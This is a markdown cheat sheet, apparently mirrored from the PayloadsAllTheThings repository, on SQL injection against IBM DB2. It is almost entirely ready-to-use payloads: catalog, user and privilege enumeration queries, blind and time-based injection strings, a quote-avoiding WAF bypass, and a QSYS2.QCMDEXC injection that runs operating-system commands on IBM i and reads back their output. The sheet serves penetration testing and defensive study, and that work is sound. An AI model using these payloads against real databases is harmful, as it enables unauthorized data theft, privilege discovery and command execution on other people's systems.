db2-injection.md (9346B)
1 --- 2 title: "DB2 Injection" 3 topic: "SQL Injection" 4 topicSlug: "sql-injection" 5 sourcePath: "SQL Injection/DB2 Injection.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/SQL%20Injection/DB2%20Injection.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # DB2 Injection 12 13 > IBM DB2 is a family of relational database management systems (RDBMS) developed by IBM. Originally created in the 1980s for mainframes, DB2 has evolved to support various platforms and workloads, including distributed systems, cloud environments, and hybrid deployments. 14 15 ## Summary 16 17 * [DB2 Comments](#db2-comments) 18 * [DB2 Default Databases](#db2-default-databases) 19 * [DB2 Enumeration](#db2-enumeration) 20 * [DB2 Methodology](#db2-methodology) 21 * [DB2 Error Based](#db2-error-based) 22 * [DB2 Blind Based](#db2-blind-based) 23 * [DB2 Time Based](#db2-time-based) 24 * [DB2 Command Execution](#db2-command-execution) 25 * [DB2 WAF Bypass](#db2-waf-bypass) 26 * [DB2 Accounts and Privileges](#db2-accounts-and-privileges) 27 * [References](#references) 28 29 ## DB2 Comments 30 31 | Type | Description | 32 | ---- | ----------- | 33 | `--` | SQL comment | 34 35 ## DB2 Default Databases 36 37 | Name | Description | 38 | --------- | ------------------------------------------------------------------------------------------------- | 39 | SYSIBM | Core system catalog tables storing metadata for database objects. | 40 | SYSCAT | User-friendly views for accessing metadata in the SYSIBM tables. | 41 | SYSSTAT | Statistics tables used by the DB2 optimizer for query optimization. | 42 | SYSPUBLIC | Metadata about objects available to all users (granted to PUBLIC). | 43 | SYSIBMADM | Administrative views for monitoring and managing the database system. | 44 | SYSTOOLs | Tools, utilities, and auxiliary objects provided for database administration and troubleshooting. | 45 46 ## DB2 Enumeration 47 48 | Description | SQL Query | 49 | ---------------- | ---------------------------------------------------------------------------------------------------- | 50 | DBMS version | `select versionnumber, version_timestamp from sysibm.sysversions;` | 51 | DBMS version | `select service_level from table(sysproc.env_get_inst_info()) as instanceinfo` | 52 | DBMS version | `select getvariable('sysibm.version') from sysibm.sysdummy1` | 53 | DBMS version | `select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo` | 54 | DBMS version | `select service_level,bld_level from sysibmadm.env_inst_info` | 55 | Current user | `select user from sysibm.sysdummy1` | 56 | Current user | `select session_user from sysibm.sysdummy1` | 57 | Current user | `select system_user from sysibm.sysdummy1` | 58 | Current database | `select current server from sysibm.sysdummy1` | 59 | OS info | `select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info` | 60 61 ## DB2 Methodology 62 63 | Description | SQL Query | 64 | -------------- | ------------------------------------------------------------ | 65 | List databases | `SELECT distinct(table_catalog) FROM sysibm.tables` | 66 | List databases | `SELECT schemaname FROM syscat.schemata;` | 67 | List columns | `SELECT name, tbname, coltype FROM sysibm.syscolumns` | 68 | List tables | `SELECT table_name FROM sysibm.tables` | 69 | List tables | `SELECT name FROM sysibm.systables` | 70 | List tables | `SELECT tbname FROM sysibm.syscolumns WHERE name='username'` | 71 72 ## DB2 Error Based 73 74 ```sql 75 -- Returns all in one xml-formatted string 76 select xmlagg(xmlrow(table_schema)) from sysibm.tables 77 78 -- Same but without repeated elements 79 select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) 80 81 -- Returns all in one xml-formatted string. 82 -- May need CAST(xml2clob(… AS varchar(500)) to display the result. 83 select xml2clob(xmelement(name t, table_schema)) from sysibm.tables 84 ``` 85 86 ## DB2 Blind Based 87 88 | Description | SQL Query | 89 | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | 90 | Substring | `select substr('abc',2,1) FROM sysibm.sysdummy1` | 91 | ASCII value | `select chr(65) from sysibm.sysdummy1` | 92 | CHAR to ASCII | `select ascii('A') from sysibm.sysdummy1` | 93 | Select Nth Row | `select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only` | 94 | Bitwise AND | `select bitand(1,0) from sysibm.sysdummy1` | 95 | Bitwise AND NOT | `select bitandnot(1,0) from sysibm.sysdummy1` | 96 | Bitwise OR | `select bitor(1,0) from sysibm.sysdummy1` | 97 | Bitwise XOR | `select bitxor(1,0) from sysibm.sysdummy1` | 98 | Bitwise NOT | `select bitnot(1,0) from sysibm.sysdummy1` | 99 100 ## DB2 Time Based 101 102 Heavy queries, if user starts with ascii 68 ('D'), the heavy query will be executed, delaying the response. 103 104 ```sql 105 ' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 106 ``` 107 108 ## DB2 Command Execution 109 110 > The QSYS2.QCMDEXC() procedure and scalar function can be used to execute IBM i CL commands. 111 112 Using the `QSYS2.QCMDEXC()` on IBM i (previously named AS-400), it is possibile to achieve command execution. 113 114 ```sql 115 '||QCMDEXC('QSH CMD(''system dspusrprf PROFILE'')') 116 ``` 117 118 In many cases, the command output is not returned directly. The following approach works in two steps: first, execute the command and redirect both standard output and standard error to `/tmp/qsh_output.txt` then, read the contents of that file using `QSYS2.IFS_READ_UTF8`. 119 120 ```sql 121 QSYS2.QCMDEXC('QSH CMD(''system dspusrprf PROFILE > /tmp/qsh_output.txt 2>&1'')') 122 SELECT LINE FROM TABLE(QSYS2.IFS_READ_UTF8('/tmp/qsh_output.txt',2147483647,'NONE')) 123 ``` 124 125 ## DB2 WAF Bypass 126 127 ### Avoiding Quotes 128 129 ```sql 130 SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 131 ``` 132 133 ## DB2 Accounts and Privileges 134 135 | Description | SQL Query | 136 | -------------------- | -------------------------------------------------------------------------------- | 137 | List users | `select distinct(grantee) from sysibm.systabauth` | 138 | List users | `select distinct(definer) from syscat.schemata` | 139 | List users | `select distinct(authid) from sysibmadm.privileges` | 140 | List users | `select grantee from syscat.dbauth` | 141 | List privileges | `select * from syscat.tabauth` | 142 | List privileges | `select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies` | 143 | List DBA accounts | `select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'` | 144 | List DBA accounts | `select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G'` | 145 | Location of DB files | `select * from sysibmadm.reg_variables where reg_var_name='DB2PATH'` | 146 147 ## References 148 149 * [DB2 SQL injection cheat sheet - Adrián - May 20, 2012](https://web.archive.org/web/20211026090110/https://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/) 150 * [Pentestmonkey's DB2 SQL Injection Cheat Sheet - @pentestmonkey - September 17, 2011](https://web.archive.org/web/20260226035803/https://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet) 151 * [QSYS2.QCMDEXC() - IBM Support - April 22, 2023](https://web.archive.org/web/20230305185053/https://www.ibm.com/support/pages/qsys2qcmdexc)